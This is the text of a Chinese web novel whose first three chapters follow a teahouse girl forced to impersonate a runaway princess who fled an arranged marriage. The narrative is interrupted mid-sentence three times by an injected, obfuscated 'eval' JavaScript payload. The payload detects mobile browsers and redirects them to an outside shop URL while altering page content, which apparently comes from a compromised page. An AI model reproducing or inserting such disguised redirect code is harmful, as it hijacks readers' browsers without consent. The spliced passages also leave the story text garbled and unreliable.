《公主自救指南》 1. 替身 祭坛的青烟在暮色中渐渐稀薄。女官缓步上前,于白玉砖铺成的步道正中肃立。她深吸一口气,声音层层叠叠地传开—— “礼——成!” “公主——回——宫!” 尾音惊起檐角栖息的寒鸦,左右静候的宫人侍卫如同潮水般自动分列两侧,执事太监们齐齐躬身,将手中的提灯微微压低。 仪仗在百姓层层叠叠的跪拜身影中缓缓驶向朱红色的宫门。 朱轮华盖逐渐远去,观礼的百姓渐渐站起身,窸窸窣窣的议论声蔓延开来。 “公主殿下回宫了呀,这马车真好看。” “也不知道什么时候才能再看见这么气派的场景。” “上天保佑,公主殿下庇佑,今年一定要是个丰年。” 车帘轻晃,马车内的女子有些狼狈地歪着身子。她将裙摆提起,皱着眉揉着酸痛僵硬的脚踝。金冠上的青白玉珠在她头上噼啪作响,珠光掩映,女子与公主面容八分相似,却分明不是昭华公主。 “祭祀怎么比我端一天的茶还要累呢?”她小声嘟囔。 ———— 乔景芝本是京城闻名的茶馆——望江楼里的跑堂丫头。 母亲命浅福薄,生产当日不幸难产过世。 父亲乔尹在郎溪镇是出名的谦和有学识,所以即使带着一个拖油瓶,仍有不少人托媒婆上门说亲,但都被乔尹以女儿年幼为名一一拒绝了。 乔景芝四岁那年,乔尹带着女儿到京城讨生活,留宿望江楼。掌柜魏寿安见他们父女俩可怜无依靠,又见乔尹读得不少书,便把后院的杂物间收拾了,招了他在楼里说书过活。 妻子离世得太早,乔尹也没兴趣把女儿教成什么大家闺秀,从小就放任乔景芝在田野间疯跑。 后来二人迁居望江楼,乔尹在台上说书,乔景芝就端个小凳在角落里坐着看。 但她性子仍是野的,六岁时还光着脚丫在茶楼里跑着招呼客人,八岁就能捧着茶壶叽叽喳喳地把爹爹说书的腔调学给茶客听。 相熟的客人和乔尹笑话她没什么女孩样子,乔尹也不恼,只是摸着乔景芝毛茸茸的脑袋,温和地笑。 只是等天黑回屋,乔景芝发现自己睡塌上多了几本半新的书。 就这样父女俩白天在望江楼说书端茶,入夜了便点起蜡烛一同坐在桌前读书。从起初启蒙的“三百千”,到后来内容奇诡的《山海经》类,不一而足。 父亲讲《山海经》里“青丘之山有九尾狐”时,乔景芝突然插嘴:“爹,可《吕氏春秋》里说九尾狐是祥瑞,代表王者昌盛,怎么话本里都把它写成妖怪呢?” 父亲愣住,继而大笑,翻出另一本笔记给她看:“你这孩子,倒把爹问住了。你来看看这本《山海经笺疏》怎么说的……” 随着日子过去,乔景芝逐渐抽条。或许是随了母亲,虽然生长在市井里,但模样出落得像个贵族小姐。 “景芝也不小了,你也可以帮她相看好人家了。”魏寿安从小看着乔景芝长大,见乔尹从不挂心女儿的婚事,劝乔尹道:“小女孩读那么多书,我见她整天神神叨叨的,都读木讷了。” “男子就该读书考取功名,女子读书就是神神叨叨么?”乔景芝端着茶壶碗碟正巧路过。 魏寿安被听了墙角有些尴尬,又忍不住劝她:“女子的职责左不过就是生儿育女,若是为了兴趣之类耽误了嫁人,那可是一辈子的大事。” 乔尹见气氛有些尴尬,想打圆场。 乔景芝上前一步反驳:“我倒不这么认为。有钱有势的人家若是生了男子,幼时便会把他们送去学堂,要么就是请了先生在家里讲课。足以见得读书是明智的基础。 “但是若是生了女子,学习的却是女红技法,精进了技艺,却不能增长见闻。即使是读书,读的大多都是《女则》这些规训,在我看来,反而更受到禁锢了。” 魏寿安笑道:“我倒是说不过你。女子识得二三字也是好事,于操持家事方面会方便许多。不过自古以来就是男主外女主内,若女子太有自己的见识主张,就容易与夫家起冲突,便是本末倒置了。” 乔景芝正欲开口,乔尹伸手拦下了:“魏伯伯的话确有几分道理,确实是我考虑的不够周全。余下的事往后再说吧。” 还未等她与父亲辩驳女子应当读书与否,她便进宫当上了“公主”。 半月前,她在附近的集市采买吃食,被一位宫女匆匆拉住,细细看了面容,然后来了一批侍卫不由分说把她带进了皇宫。 他们人多,乔景芝没法反抗。 走在皇宫内的青石砖上,两侧高高的宫墙压得人喘不过气。 宫女低垂着头快步走着,低声嘱咐乔景芝:“待会你要拜见的是当今贵妃娘娘。规矩我都教给你了,进了殿内不要乱看,娘娘问什么你回答就是了。” 进了殿门,贵妃端坐在堂上。 乔景芝按照规矩给贵妃行礼。 “将脸抬起来,让本宫看看你的脸。”贵妃命道。 乔景芝闻言抬起了下巴,视线仍是低垂的。 看了一会,贵妃对宫女柔声道:“这样短的时间难为你们了,不过眉眼嘴巴确实是十分相像的。”说着,又示意乔景芝起身转了一圈,满意地点点头:“只是瘦弱了些。那还是让玉竹照顾吧,把事情都安排妥当,别出了岔子。” 被唤作玉竹的宫女行礼应下,恭恭敬敬把乔景芝带出了贵妃宫中。 两人一前一后走了一段偏僻的小路,竟没有旁人经过,一路静默到了公主的寝殿处。 经过半日的折腾,乔景芝已心神不定,但本能告诉她还不到多问的时候。 终于进了内殿,玉竹屏退众人,又关上房门,回头站定,轻声说:“我知道你有许多疑问。简而言之,昭华公主不见了。你与公主长得十分相似,因此在找到公主之前需要你来假扮公主。” 乔景芝摸了摸自己的脸,有些恍惚。 她只是一个平民女子,怎么会与身份尊贵的公主容貌相似呢? “我...我?假扮公主?”乔景芝不安地问道,“我怎么可能假扮公主殿下?要是...要是被发现了那可怎么办?” 玉竹静静地看着六神无主的乔景芝,并无不耐烦的神色:“贵妃娘娘已命人给宫外带话,想必你父亲已经知道你福泽深厚,被贵人看中,进宫当了贵妃娘娘的侍女。贵妃娘娘宅心仁厚,也给了不少赏赐。有了这些钱,应当也能在京中置办个宅子。” 又靠近乔景芝压低声音:“难道你不想你爹度过一个安稳的晚年吗?” 乔景芝渐渐冷静了下来。 她知道事已至此,已经没有办法改变贵妃的安排。只能接受飞来横祸,来当这个莫名其妙的公主了。 在皇权之下,他们这样的平民百姓无力反抗。 “我要做什么?”乔景芝深呼吸问道。 见乔景芝接受了事实,玉竹也放松了一些,微微笑道:“我喜欢和聪明人打交道。不过你也不必这么紧张。贵妃娘娘已安排人查明了你的背景,也知道你能识得一些文字。就算不如公主文韬武略,大抵也是超出寻常闺阁女子的。对你来说,扮作公主也算不得什么难事。” 乔景芝点了点头,终究是没能按耐住内心的好奇,问道:“昭华公主去哪里了?” “没有人知道昭华公主在哪,但现在你就是公主。” 她拍了拍手,殿门被推开,涌进来两排宫女,恭恭敬敬地端着精巧华丽的衣服首饰。 乔景芝有些无措,她没见过这么大阵仗。 南边商会的老板已经是乔景芝见过的最富有的人了,可是他身上穿的也不如这些服饰万分之一精巧。 玉竹从宫女手上接过了一件天青色的外袍,轻轻抖动将它展开。袍上没有多余的装饰,只绣着缠枝葡萄暗纹,但精密的裁剪仍看得出价值不菲。 玉竹将袍子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570147|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递到乔景芝手中,示意她试一试。 见乔景芝仍僵立着十分拘谨,玉竹牵起她到椅边坐下,安慰道:“你进宫未必不是什么好事。不说你与你爹在京中没有依靠,得了赏赐你爹便不必再辛苦,能过上好日子。你自己进了宫,也不似在外头艰辛,衣食住行都是不用再烦心的。若是等来日寻得公主回宫,贵妃娘娘自然也能放你出宫回家与爹爹团聚。” 想了想,她又不放心叮嘱道:“但你也要知道,我们是一根绳上的蚂蚱。你要是不当心出了岔子,下至你我,上至贵妃娘娘,少不了招来欺君的杀身之祸。” ———— 祭祀的安排是一早就定下的。连月大旱,地里撒了种子长不出芽,家家眼见着没有余粮,民不聊生。正值西南战事繁忙,皇帝为处理政务一时抽不出空来主祭,特命昭华公主代为祈雨,以祈求上天庇佑,延绵津渡国福泽。 在这个节骨眼上公主却人间蒸发,若是消息传开,不仅会惹得皇帝震怒,百姓知晓此事必然也会引起更大的骚乱。 虽然祭祀大部分时间只需要跪拜着请神、上香,但是从天未大亮一直跪到天色擦黑仍需要不小的耐力。 跪拜了一天,即使揉捏腿脚仍酸痛难忍。 膝盖大约是要淤青上好些日子,乔景芝揉着僵硬的膝盖暗忖。 不过听着百姓的议论,大多都是敬仰天家威德,似乎是没有引起什么怀疑的。这么想着,乔景芝悬着的心渐渐放了下来。 半个月来她一直连轴转,不仅要学习祭祀需要的各种礼仪,还要挤着时间熟悉宫内的大小事物。毕竟身为堂堂一国公主,总不至于在基础的常识礼节上失了分寸。 乔景芝白天劳心劳力,晚上也因想家睡不安稳,最后竟清减了好些。 昭华公主要比乔景芝年长三岁,体态本就比乔景芝来得更挺拔,再加上乔景芝日渐消瘦,两者间差异更甚。 祭祀前一日,礼官送来按照昭华公主尺寸做出的服制让乔景芝试穿,竟看上去宽宽大大不太合身,玉竹连同一些手脚精细的侍女忙了半宿才堪堪修改得符合乔景芝的身形。 车轮逐渐放缓,似乎是要停下了。 按照规矩,公主祈雨结束需要回宫向皇上请安复命,之后再回自己的寝殿休息,玉竹是这么告诉乔景芝的。 “皇上可是公主的父亲,我如何才能瞒得过去呢?”乔景芝端着茶杯,轻轻吹去浮沫。 贵妃娘娘给她指派了嘴严的教习嬷嬷,她学得又快,不出几日,举手投足间便像真正的贵族小姐了。 “那又如何?贵妃娘娘是公主的生母,初见您时仍然恍惚了呢。”玉竹已经全然将乔景芝当做了公主本人,即使没有外人在也恭恭敬敬地服侍她梳妆打扮。 玉竹最后在她发间簪上了翠玉簪子,很满意自己梳发的手艺:“您只要向皇帝请了安就可以回来了。祭祀结束时候也不早,皇上不会留您太久的,不必过于担心。” 正思忖着,马车稳稳停在了乾清宫门外,女官上前一步挑起了车帘。乔景芝伸出手搭在了女官腕上,随即探身而出。她先站稳,扶定金冠后才缓步朝殿门口走去。 早有内监入内通传。不消片刻,殿门处传来太监尖亮的唱声—— “昭华公主觐见——” 乔景芝垂眸进入殿内,至御前行礼,恭声道:“儿臣给父王请安,父王万福金安。” 皇帝还在批着奏本,听见乔景芝说话并未抬头,只是伸手隔空虚扶起她,又摆摆手让她不用拘礼自己坐下,并未停止笔下的动作。 殿内寂静无声,只有蜡烛燃烧偶尔发出的噼啪声。 半晌,皇上终是写完了朱批。他放下笔,手指点按着太阳穴处,表情严肃,似是有些发愁。 “祭祀结束了是吧......昭华?那件事是父皇太心急了,确是有做得不妥的地方,你生气不理父皇,父皇也不怪你。不过......你具体考虑的怎么样了?” 2. 公主 十四岁那年秋猎,是江裕第一次被准许登上观猎的晾鹰台。 在此之前,她只被准许坐在台下的帷帐里,隔着纱帘,听远处的号角和马蹄声。 “江裕大了,上来看看吧。”皇帝恩准。 她踩着高高的木阶,秋风吹起她的裙裾。她站定在台边,只见天高云阔,草木金黄。万马奔腾,旌旗如林。猎骑们像箭一样射向旷野,马蹄踏起的尘土遮天蔽日。 她看见父皇骑着一匹雪白的骏马,挽弓搭箭,一箭射穿了百步外的鹿喉。那鹿踉跄了几步,轰然倒地。 整个猎场沸腾了。 江裕站在高台上,心中激情澎湃,充满向往地牢牢盯着奔驰的骏马和猎者从容潇洒的身影。她攥紧了栏杆,指节发白。 那天回宫的路上,她一句话都没说。 夜里,她躺在床上,睁着眼睛,看帐顶的绣纹在烛光中晃动。 第二天一早,她去了乾清宫。 “父皇。”她跪在皇帝桌前,禀道:“父皇,儿臣想学马术。” 皇帝正在批阅奏章,头也没抬:“胡闹。公主学什么马术?” “儿臣是父皇的孩子。常言道虎父无犬子,父皇能在秋猎中斩获佳绩,身为父皇的孩子,儿臣必然也能习得父皇的英姿。与儿臣是公主与否想来并无太大关系。” 皇帝终于抬起头,第一次仔细地看着这个平时沉默寡言的女儿,回道:“说的倒有些意思。但马术是武将家粗丫头才爱学的玩意,你身为公主,更该精通些诗文、书画之类的才好。而且要是朕破格准了你的请求,你的母妃该哭到太庙里去了。” 言尽于此,江裕只能闷闷应下。只是自从那日起,她天天寻着时间溜到操练宦兵的内操训练场边偷偷观察,模仿军士的一招一式。 日子久了,有些眼尖的宦兵眼熟起她,也愿意主动来纠正指点她一些动作。 直到冬季,江裕十五岁生辰那天,皇上大约是被提醒着想起这位公主的生日,随口问身旁的太监有什么女儿家喜欢的东西,准备挑些给公主送去。太监不回话,只是憋着笑。 “怎么了?朕问话怎的不回?” 太监敛了神色,斟酌道:“珠宝首饰之类大抵是不能够讨得公主欢心的。不过皇上如果真想让公主开心,不如恩准了公主去学习骑射功夫呢。公主呀,已经偷偷学了二月有余了,日日不曾停歇。” 自此,在江裕公主十五岁生辰当日,皇帝破例恩准,由校场选派了一名军士教导公主武艺。从最基础的马术开始,渐及骑射,乃至刀法。 终于,在江裕长到十七岁那年,皇帝念其武艺精进,特准其参加秋猎。她骑着一匹枣红马,立于猎阵之中。身旁是一众皇子宗亲,人人甲胄鲜明,弓马齐备。 她穿着一身窄袖骑装,乌发紧束,干净利落。银白色的箭囊斜挎在背后,整个人像一柄刚出鞘的刀。 傍晚时分,猎队陆续回营。 即使过了数年,宫内外仍津津乐道当时的场景,笑着打趣平日里训练有素的男子竟不敌一位深宫公主,让其抢得了头筹。 江裕的随从驾车带着麂子、野兔等大小猎物跟在她身后,而一条一臂余长的灰白狼尾垂在她正骑着的骏马腹侧。 皇帝大笑着抚掌称赞,提笔在诏书上写下:“江裕公主,敏而好武,秋猎夺魁。特赐封号——昭华。” ———— 暮色沉沉,宫城的市坊都已落锁,只剩打更人提着灯笼,敲着梆子走过空荡的长街。 江裕盘腿坐在在矮屋房顶上,她将被风吹起的幞头压了压,身影被摇曳的树枝遮掩,竟一时难以分辨。 初夏时节,晚风吹到身上仍能感到凉意。她微微打了个寒噤,腰背挺直,坐得更端正了些。 她低头看了看自己的手。虎口处有层密密的茧子,是这些年磨出来的。掌心处有一道浅浅的红痕,是日日跟军士练习刀法时被刀把刻出的印子。 江裕离开皇宫已经十多天了,她仍在皇城内住着。 自从她偷跑出宫,城门口的守城侍卫对进出城的盘查严格了许多。凡是出入城的人士都要排着长队被细细比照过画像才能离开。 倒不如仍住在城里,等过些日子安定下来,审查放松些许再考虑之后的事情。 母妃曾给她一本记着庄户名单的册子,上面细细记着京郊各庄户管事的信息和收成记录,这是贵妃从娘家带来的嫁妆。 江裕攒了几年的赏钱,还有一些收成,暗中将京城的一间茶馆盘了下来。 她如今偷跑出了宫,不能在公主府居住,便借自己东家的身份向掌柜传话,乔装成前来投靠的表亲,在茶馆落脚了。 在祈雨大典前夕,宫中会维持表面的平静,不放出公主失踪的消息是她意料中的事。她原以为会给她个突发时疾的名头,方便把祭祀事宜糊弄过去,也能一时免除会见外客的可能。 但是她也没想到祭祀能照常举行。 祭祀当日,出于好奇江裕也作男子装扮远远地去观了礼。那位祭台上肃立的“公主”步态姿势仔细推敲似有些不到位的地方,但面容和身形乍一看确实与她本人别无二致。 江裕心下了然,猜到这是母妃的主意。 如果父皇知晓她出逃宫外,必不会是找个替身、轻轻揭过这么容易的事情。 江裕冷哼一声。 父皇现在极为看重她这颗“棋子”,怎会放任不知道哪来的姑娘顶替她的位置,把津渡国的未来交由外姓人来分担呢? 江裕习武三年有余,带她的军士时常称赞她,说她虽从小在闺阁中长大,甚至并未接触过什么强身健体的门道,偏偏骑射刀法一学就会,一会就精,仿佛这些本事是刻在骨子里的,比旁的世家公子根骨好上不止一星半点。 皇帝刚开始给她指派军士也是带了些糊弄孩子的心思。他下意识认为江裕只是孩子心性,看见秋猎威风的样子便想模仿。皇帝想,大约让她系统地学上三月半载的,她就嫌苦嫌累失了兴趣,届时自然也不必专门应付了。 江裕一时的心血来潮,三年便过去了。 京城里已经没什么同龄人是江裕的对手。 起初有人听江裕公主习武的名声,存着轻佻的心思前来比试,往往都是三招之内被挑飞兵器。反观公主却是下盘稳健,不曾挪动半步。 渐渐地,江裕的名声在京城里逐渐大了起来。 半月前,皇帝召见了江裕。 江裕从容进了殿内,兴冲冲道:“给父王请安!父王,儿臣这些日子又学会了一个新的招式......” “天天武功招式,没有半点女儿家的样子!”皇帝一反往常含笑应下的样子,有些不耐烦地说。 又深吸一口气,放缓语气道:“昭华,你知晓西南的战事吗?” 江裕愣住了,父皇甚少在只有他们二人在时严肃地以封号称呼她,也甚少与她讨论朝政之事。 她敛了神色后退半步,俯身行礼道:“先生在授课时略提到过时局战事。南疆三郡近年来似乎都不大安定,多有蛮夷滋事。先生说,如今平叛之事是由镇南侯杨崇远领军负责。” “镇南侯你知道他什么?” “镇南侯出身将门,三代镇守西南。儿臣听说,他敢于用兵,屡战屡胜,在军中威望极高。” 皇帝脸色沉沉道:“是啊,屡战屡胜,好一个常胜将军。他的儿子也是个打仗的好手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570148|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 江裕嗤笑:“父皇说的是杨崇远的嫡长子杨嘉时?三年前镇南侯回京述职时曾带着他,此人骑马只能慢行,骑射堪堪五十步。儿臣与他比试,说他为手无缚鸡之力也不为过,仅一招就被儿臣打下台子,约摸是躺了半个月才痊愈的。” “杨嘉时不是打仗的苗子,但他却是如今最好的谋士。 “一年前的会战,他献‘分而治之’之策,先打弱敌、再围强敌;还设计离间叛军联盟,使七家土司先后归降。表面上是他父亲的幕僚,但近期战事的重大决策竟都交由他拍板。朝廷派来的监军多次弹劾杨嘉时‘越俎代庖’,都被杨崇远压下。” 皇帝重重拍桌:“这样就罢了,杨崇远竟要为他的儿子请官!” 说着把面前的奏章摔在地上,示意江裕自己来看。 江裕接过。那奏章上写着:“臣以戎伍,荷蒙圣恩。犬子杨嘉时,随臣征战数年,每于帐下参赞军机,幸无大过。嘉时自幼习文,略通经史,于兵家、舆图之事,颇有钻研。 “臣斗胆,伏望陛下天恩,不以其微贱,或置诸枢垣,或拔于翰林,俾得就近瞻仰天颜,效犬马之劳,以尽臣子之分。臣不胜惶恐待命之至!” 江裕皱眉道:“儿臣记得,杨嘉时年下刚满二十,尚及弱冠。镇远侯为儿子请如此高官,为时过早。若是父皇允了他的请求,一父一子都在朝廷中处事,他们的行事作风必然会影响整个朝堂。” 说着,她脸上渐渐浮出喜悦的神色:“莫不是父皇想削弱杨家势力,让儿臣去军中......” “昭华。”皇帝沉声打断道,“朕需要你与杨嘉时结亲。” “结亲?”江裕像是被逗笑了,“父皇是要我与那个弱不禁风的杨嘉时成婚?” 又看皇帝面色严肃,完全不是在说笑的样子,渐渐严肃起来:“父皇不愿杨嘉时入仕,随便寻个由头推脱过去也就罢了,何必要让儿臣与他结亲?” “朕也考虑过。可是杨家家族势力庞大,不说在西南地区竟有百姓自发为他立生祠,就算是在京城,也有民众称他为‘杨青天’的风声隐隐传出,而其子更是被称作‘小诸葛’。 “朕若是以其年少为由一时按下,过不了几年也就避无可避了。” 皇帝看向有些愤怒的江裕:“朕想让他尚公主。你的武艺高超,不仅是京中,军中的人都有所耳闻。你下嫁将军府,一文一武也算是良配。如此天作之合,与你二人都算不得作践。 “至于杨嘉时那小儿,成了驸马后就能顺理成章给他个不痛不痒的闲职,朕也不必担忧他杨家只手遮天了。” 皇帝越想越满意,恨不得即刻传旨意赐婚,撮合这一对命定的碧人。 如此一箭双雕的机会实属难得啊。 “父皇,即便如此,那儿臣的意愿便不用过问,儿臣所想如何,便不重要吗?” “你能有什么不满的?女子生来便是要相夫教子!你年岁也不小了,朕能上心为你指派个好婚事也是待你不薄。难道你想一辈子待在校场,与那些军士为伍吗?” 江裕正欲开口,皇帝不耐烦地摆摆手打断了她:“好了好了!朕前些年就想做主为你寻得一户好人家,是你母妃念你还是孩子脾气,劝朕从长计议。如今也是时局所迫,你还要任性吗?你回去再好好想想吧!” 江裕无言,退出了乾清宫。 皇帝决定的事,就算是重臣也无法改变,何况她只是一个养尊处优、手无实权的公主。她也明白这已经是水到渠成的婚事了。 生在皇家,既为父女,也是君臣,她从出生起就注定是皇帝手中的棋子。 于是,在一个月明星稀的夜晚,她离开了皇宫。 3. 巧遇 “昭华,那件事情你考虑得怎么样了?” 乔景芝面上不显,但心一下提到了嗓子眼。 皇上与昭华公主之前商议的到底是什么事? 她低下头暗忖。 这件事既然能让皇帝道歉,并再次主动征询昭华公主的意见,那么公主扮演的角色必然是至关重要的。 而能让皇帝低头,大概率昭华公主并不赞同皇帝的决定。 她缓缓从椅子上起身,躬身行礼,正色道:“儿臣以为,此事还是应当从长计议。” 皇帝叹了口气,皱着眉头,指节不耐地敲了敲桌子:“前些日子朕已经下旨,嘉许杨氏父子战功赫赫。念及西南战事尚未完全结束,特召镇远侯之子杨嘉时单独入朝受赏。朕估摸着,再有十余天就该到了。” 乔景芝没有接话,仍沉默地看着皇帝。 “杨嘉时留京的这段时间,朕会让皇后举办一场赏花会,邀京中公子贵女一同至御花园赏花。到时候你也去,皇后会为你和杨嘉时赐婚。” 乔景芝大惊——原以为是拉家常,怎么三言两语间就把她的婚事定下了?若是日后昭华公主回宫那该怎么办? 或者,公主就是因为不满婚事,所以偷跑出宫的? 她不敢贸然回话。既怕拒绝会让皇帝不满,又怕答应下来会让事情难以收场。 “儿臣还是难以接受父皇的安排。如此草草定下的婚事必定也会让镇远侯不满。” 皇帝见她言辞间还是抵触,耐下性子解释道:“这世间哪来那么多的两情相悦?朕若是传旨将公主下嫁,也是给他杨家留足了他体面的,那杨家再不满又能如何?” 又觉得自己语气太僵硬,有心安抚一下公主,对身后的太监吩咐道:“公主入夏的衣服让秀衣坊做了没有?朕记得江南织造供的几匹绸缎,都是时兴的样式。赶在花会之前给公主做了衣服出来。” 又转头对乔景芝吩咐道:“给你考虑的时间已经够长了,这件事就这么定下了。你回去也好好准备准备。” 见完了皇帝,乔景芝终于回了自己的寝宫休息。 她坐在梳妆台前,出神地看着镜子中的自己。镜子中的人影模糊,但看得出眉眼灵动,笑的时候脸颊上会有小小的梨涡,不过是寻常少女模样。 昭华公主坐在镜子前,看着自己的脸时,会想什么呢?乔景芝好奇地想。 玉竹站在乔景芝身后,服侍她取下头上的各种钗环首饰,帮她揉捏被冠饰压得僵硬的脖颈肩膀,问道:“这么晚才回来,是皇帝留公主说话了吗?” 乔景芝累了一天,脑袋已经晕乎乎的。 她已经没有力气维持端庄的仪态,软软地靠在椅背上,嘴里塞满了小厨房刚送来的果干糕点,含糊不清道:“你知道吗?皇上要给公主赐婚。” 玉竹手下一顿,但又继续揉捏的动作,道:“这件事奴婢未曾听说过。皇帝有说是哪家的公子吗?” “镇远侯之子杨嘉时。” 玉竹手下一重。 乔景芝没有防备,被捏得狠狠扭了一下。想抬手反抗,但是猛一个吸气又被口中的糕点呛了,撕心裂肺地咳了半分钟才喝水把气顺了下来。 乔景芝抚着胸口,结结巴巴说:“你们宫里的糕点是挺好,我吃的也确实是多了些,你心疼就直说嘛,也不用突然给我这一下。” 玉竹哭笑不得地用手帕擦干净了喷出的残渣,道:“点心要多少有多少,奴婢倒也不是在乎这些。” “倒是这镇远侯之子......奴婢只知道他出身将门,但是武艺上是一窍不通,此外便不知道其他了。事发突然,奴婢只是惊讶,一时失了分寸。” “皇帝之前似乎和公主说过这个事。”她转身看向玉竹,笑嘻嘻地试探,“结亲总不能我也要代替公主吧?” “昭华公主一日不回来,您就一日是公主。若是皇帝下了旨,哪怕是结亲也是要去的。” “啊?”乔景芝一下垮了脸,愤愤道,“公主和皇帝当真是一家人,皇帝把担子推到公主身上,公主直接把担子丢了!只是苦了我这个可怜老百姓!”边说,边泄愤般狠狠咬了口新端上来的绿豆糕,表情狰狞。 “入宫只是好吃好喝地享受也就算了!皇宫这么大,却只能为避着人在这芝麻大点的宫殿里待着,每天闷都要闷出毛病来!” 玉竹笑道:“如果只是这个的话,倒也好解决。昭华公主勤于练武,皇帝念及她是女子,出入校场不合规矩,让军士来寝殿居所也不方便,特意在京城划了一处好地段,给公主建了公主府。 “要是在宫里待闷了,想来近日也没什么重要的事情,禀了皇上便是可以出去住的。” 第二日一早,乔景芝守在皇帝下朝的路上禀了皇帝回府居住。 皇帝以为她烦闷,需要出宫换换心情,未多过问就同意了。 乔景芝一行人出宫门依旧乘的马车。 这次乘车倒比进宫来得轻松。虽说仍然在京城范围内,但是出了宫门似乎就能使压力小一些。 而且都在城中,是不是就能找机会与爹见上一面?乔景芝盼望着。 “不行,您现在是公主,不能冒这个险。”马车上,玉竹拒绝了乔景芝的请求。 “你爹现在过得不错,但还是会去茶馆说书,大约是兴趣使然,你不用担心。娘娘心慈,不会为难你们的。” 乔景芝垮了脸,又有些小心翼翼地问:“那按规矩,公主能穿便装出府玩吗?当了公主,出门都是一大堆人跟着,实在是不自由。” 玉竹笑了:“规矩不让,但我们公主却是活络的。府中公主穿的男装有好些呢。” 马车在公主府正门前稳稳停下,玉竹先一步下车掀开车帘,引着乔景芝向府内走去。 门口打扫的粗使婆子丫鬟见公主回府,都停下手上的活,恭敬地向她行礼。 乔景芝点点头,含笑应下,示意她们继续。 她绕过垂花门,急匆匆进了寝室,命在殿内候着的侍女去找一件男子装扮送来。 “你也不必这么急,好歹是吃了饭再出门。”玉竹被催着帮忙更衣,无奈劝道。 “在宫中这么长时间,天天学的那些规矩仪态都快把人折磨死了!”乔景芝不满道。 侍女送来了几件公主常穿的男子装扮,乔景芝好奇地挑选了半天,最终选了一件月白色的外袍,腰间坠着浅碧色玉佩和桃粉香囊。 约莫是习武的原因,昭华公主肌肉结实,男装时衣衫挺括,眉眼透出一丝英气,颇为俊朗。 而乔景芝虽常年在街巷中长大,不如寻常闺阁女子的温婉,但当她扮上男装时,亦有一份清秀俊逸的意味。 乔景芝对着镜子左右看了看,镜中人眉如远山含黛,一双杏眼顾盼生辉,鼻梁秀挺,唇若点朱,好一个俊俏少年郎。 她满意地挑了挑眉,折扇“唰”地展开,半遮面容,只露出那双含笑的眸子。 身后玉竹忍不住打趣道:“这般扮相,倒比那些世家公子还要好看些。” 乔景芝狡黠道:“不过,不能和父亲相见说话,也至少让我去茶馆喝杯茶,远远地看他一眼吧?” 玉竹面露为难神色,但还是答应了:“不可在大堂逗留,我命人在二楼包间给公主留个位置。” 玉竹好劝歹劝,乔景芝还是简单用了午膳才出的门,身后跟着的是另一个丫头。 玉竹说,公主府的账目平日全是她来负责核对。这次入宫日子有些长了,需要核算的账本积攒了不少。乔景芝本是长在城里的,想来也不需要人时时看顾着。 “这是书墨,是公主在府里居住时,照顾公主起居的。”玉竹向她介绍。 书墨看着比玉竹小些,大约才是十四五岁的模样,但似乎不大爱说话,人看上去沉稳麻利。 她大约也被告知了如今公主不是昭华本人的消息,面对容貌与公主有细微差别的乔景芝并未惊讶,只是端端正正地行了个礼,向她请安。 乔景芝带着书墨出了府。迈出大门,她深吸了一口气— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570149|204898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —好久没有这么舒爽了! 公主府紧邻京城最繁华的地方,离望江楼只有两条街的距离,步行不到十分钟便到了。 进了茶馆,店家小二见了乔景芝穿着十分富贵,不似普通人家,殷勤地上前招呼:“公子您里边请。有几位来喝茶的呀?” “我们公子先前差人来定了包厢。”书墨接过小二的话。 “好嘞!贵客两位!请上二楼雅间就坐!” 小二将乔景芝二人引入包厢内,上了一壶新沏的碧螺春,便退下了。 乔景芝坐下,手中把玩着微烫的茶盏,盯着袅袅升起的水汽微微出神。这包厢不大,但胜在位置上佳,窗台正对着楼下的说书台子。 乔尹正在台上。 他依旧穿着洗得发白的青布长衫,袖口磨出了毛边,但声音仍洪亮,好像什么都没有改变。 可是现在,乔景芝坐在二楼包厢里,他在台上。隔着不到十丈的距离,话却也不能说上一句。 讲到精彩处,醒木连拍三下,满堂喝彩。 乔景芝看着,鼻尖一酸,遗憾再不能扑到爹爹的怀里撒娇。 她低下头,把茶盏凑到唇边,借着热气遮掩自己的表情。茶是今年的新茶,很香,但她喝不出味道。 既然已经确认父亲的近况,便也没什么流连的必要了,停留太久也只是徒增伤心。 一盏茶喝罢,乔景芝整理好情绪起身,示意书墨一同离开。 这望江楼开了有十余年,地处京城最繁华的街道,生意一直不错。虽然时时修整,但有些地方仍显老旧。 乔景芝迈步下楼梯,每踩一脚台阶都会发出尖锐的“吱呀”声。 午时茶馆人本就稀少,这噪声便更引人注目。乔景芝提心吊胆地下楼,因噪声太大有些懊恼。 眼见着爹爹的目光将要无意识地飘向自己所在的方向,她不得不将自己躲藏在路过的茶客背后,但又因动作太大将那人撞了一个踉跄。 